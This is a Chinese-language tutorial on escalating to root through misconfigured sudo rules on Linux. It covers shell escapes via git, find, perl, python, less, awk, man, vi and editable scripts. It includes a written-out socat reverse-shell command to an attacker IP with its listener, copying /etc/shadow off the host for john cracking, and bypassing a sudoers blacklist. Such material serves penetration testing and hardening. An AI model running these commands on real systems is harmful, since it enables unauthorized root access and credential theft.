sudo和su的区别
    1,sudo是以root权限去运行一个命令,su是去切换用户的身份
    2.sudo只要知道自己的密码即可,su需要知道被切换用户的密码。

    sudoers文件
    /etc/sudoers文件,是sudo权限的配置文件,当使用sudo接命令时,linux系统会在sudoers文件中查找当前用户,根据当前用户权限配置来决定是否可以运行香菇按命令。
    例如添加test用户的相关配置
    image.png
    格式如下
    test(用户名) ALL(主机)=(ALL(用户):ALL(组)) tag(标签):ALL(执行命令的路径)

    sudo su && sudo bash
    当没有对普通用户做严格的限制时,或者配置权限过大时,则可以尝试sudo su来切换到root权限
    image.png
    当visudo命令不能用时,限制了部分命令,则可以尝试vim是否被禁用,sudo vim 也可以编辑 sudoers文件,且wq!可以保存成功

    git
    当sudo允许执行git命令时,可以利用git进行提权
    两种方法提权
    1:
    sudo git help config
    !/bin/bash
    image.png
    image.png
    2:
    sudo git -p help
    !/bin/bash

    其他命令
    也有很多其他命令可以用来提权,和之前的suid提权中说的命令类似,例如sudo允许find命令,则可以通过exec参数来切换到root权限
    这里添加新用户a 并修改sudoers文件,允许部分命令,内容如下
    a ALL=(ALL:ALL) /usr/bin/find,/usr/bin/perl,/usr/bin/python3,/usr/bin/less,/usr/bin/awk,/usr/bin/man,/usr/bin/viimage.png

    相关提权方法如下

    find :exec 参数用来指定搜索结果的处理命令,需要以分号结尾,分号再命令行有特殊含义,要用\进行转义
    image.png
    perl: e参数用来指定要运行的命令,然后使用linux的exec参数来调用bash
    image.png
    python: c参数可以在命令行执行python代码,pty库是一个伪终端库,他的spawn会调用指定的程序
    image.png
    less:输入sudo less /etc/hosts命令浏览文件内容是,到底部输入!bash后回车,会获得一个root权限的shell
    image.png
    image.png
    awk:通过调用linux的system函数来打开bash
    image.png
    man:通过sudo man man 命令来打开man的受用手册,同时会进入编辑行,输入!bash获得一个root权限的shell
    image.png
    vi:sudo vi会进入vi默认页,输入!bash回车获得一个root权限的shell
    image.png
    image.png

    脚本:
    如果sudoers定义了可执行某个脚本,则我们可以把返回的shell的代码添加进去。
    例如有个运维需要的aa.sh文件,我们添加一段打开bash的代码,然后sudo运行即可
    image.png
    image.png
    image.png
    image.png
    提权成功
    image.png

    应用程序:
    除了上面的一些二进制文件,一些应用程序也可以获取root权限,例如env,ftp,socat,scp
    image.png
    image.png

    env 通过env环境变量来获取root权限
    image.png
    ftp 通过ftp来进入bash获取root权限
    image.png
    socat 通过socat客户端连接攻击机,攻击机可获得root权限
    客户端执行
    sudo socat exec:’sh -li’,pty,stderr,setsid,sigint,sane tcp:172.16.58.154:4444
    攻击机执行
    socat file:tty,raw,echo=0 tcp-listen:4444
    客户端
    image.png
    攻击机
    image.png

    scp
    scp是一个安全复制文件的命令,他无法获取一个shell,但可以用来复制一些系统的敏感文件,例如/etc/passwd、/etc/shadow等
    可以将passwd文件传输到指定机器的root/Desktop下,然后在对密码进行破解等操作
    image.png
    使用john爆破shadow文件
    image.png

    黑名单绕过

    image.png
    image.png
    image.png
    如果碰到sudoers文件使用黑名单的情况,比如权限禁用sudo使用find命令,但是都在ALL基础上设置的,那么可以cp把find复制到其他目录运行
    image.png